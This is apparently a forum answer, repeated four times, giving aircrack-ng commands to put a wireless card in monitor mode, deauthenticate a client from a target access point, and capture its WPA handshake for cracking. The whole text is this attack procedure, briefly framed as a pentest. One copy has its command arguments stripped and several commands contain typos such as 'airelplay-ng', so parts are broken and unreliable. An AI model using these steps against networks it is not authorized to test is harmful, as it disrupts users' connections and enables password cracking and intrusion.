Assuming your wireless card can do packet injection (check this by aireplay-ng -9 <interface>) and make sure at least one client should be connected with AP. To avoid any problems during pentest: airmon-ng check kill

Then issue command: airmon-ng start wlan0 <channel> (you can find the AP channel by airodump-ng wlan0) By doing this aireplay-ng will probe the only specified channel.

Now issue the following set of commands step by step.

1. airodump-ng -c <channel> --bssid <BSSID OF AP> -w <directory_to_store_.cap file> <interface>. Now the four files should be appeared in your directory.

2. Keep this terminal running and note the client's MAC.

3. Now to deauthenticate the client: airelplay-ng -0 2 -a <AP MAC> -c <client's mac> <inteface>

Now you should be able to deauthenticate the client and get WPA handhake on your former terminal screen.

If this doesn't help try airmon-ng stop <interface> and then service network-manager start. Then repeat all steps again.

P.S In my whole answer i used the word 'interface' for the 'interface on which wireless card is monitoring'.

Assuming your wireless card can do packet injection (check this by aireplay-ng -9 <interface>) and make sure at least one client should be connected with AP. To avoid any problems during pentest: airmon-ng check kill

Then issue command: airmon-ng start wlan0 <channel> (you can find the AP channel by airodump-ng wlan0) By doing this aireplay-ng will probe the only specified channel.

Now issue the following set of commands step by step.

1. airodump-ng -c <channel> --bssid <BSSID OF AP> -w <directory_to_store_.cap file> <interface>. Now the four files should be appeared in your directory.

2. Keep this terminal running and note the client's MAC.

3. Now to deauthenticate the client:

airelplay-ng -0 2 -a <AP MAC> -c <client's mac> <inteface>

Now you should be able to deauthenticate the client and get WPA handhake on your former terminal screen.

If this doesn't help try airmon-ng stop <interface> and then service network-manager start. Then repeat all steps again.

P.S In my whole answer i used the word 'interface' for the 'interface on which wireless card is monitoring'.

Assuming your wireless card can do packet injection(check this by aireplay-ng -9 ) and make sure atleast one client should be connected with AP. To avoid any problems during pentest: airmon-ng check kill

Then issue command: airmon-ng start wlan0 (you can find the AP channel by airodump-ng wlan0) By doing this aireplay-ng will probe the only specified channel.

Now issue the following set of commands step by step.

1. airodump-ng -c --bssid -w <directory_to_store_.cap file> . Now the four files should be appeared in your directory.

2. Keep this terminal running and note the client's MAC.

3. Now to deauthenticate the client: airelplay-ng -0 2 -a -c <client's mac>

Now you should be able to deauthenticate the client and get WPA handhake on your former terminal screen.

If this doesn't help try airmon-ng stop and then service network-manager start.Then repeat all steps again.

P.S In my whole answer i used the word 'interface' for the 'interface on which wireless card is monitoring'.

Assuming your wireless card can do packet injection  (check this by aireplay-ng -9 <interface>) and make sure at least one client should be connected with AP. To avoid any problems during pentest: airmon-ng check kill

Then issue command: airmon-ng start wlan0 <channel> (you can find the AP channel by airodump-ng wlan0) By doing this aireplay-ng will probe the only specified channel.

Now issue the following set of commands step by step.

1. airodump-ng -c <channel> --bssid <BSSID OF AP> -w <directory_to_store_.cap file> <interface>. Now the four files should be appeared in your directory.

2. Keep this terminal running and note the client's MAC.

3. Now to deauthenticate the client: airelplay-ng -0 2 -a <AP MAC> -c <client's mac> <inteface>

Now you should be able to deauthenticate the client and get WPA handhake on your former terminal screen.

If this doesn't help try airmon-ng stop <interface> and then service network-manager start. Then repeat all steps again.

P.S In my whole answer i used the word 'interface' for the 'interface on which wireless card is monitoring'.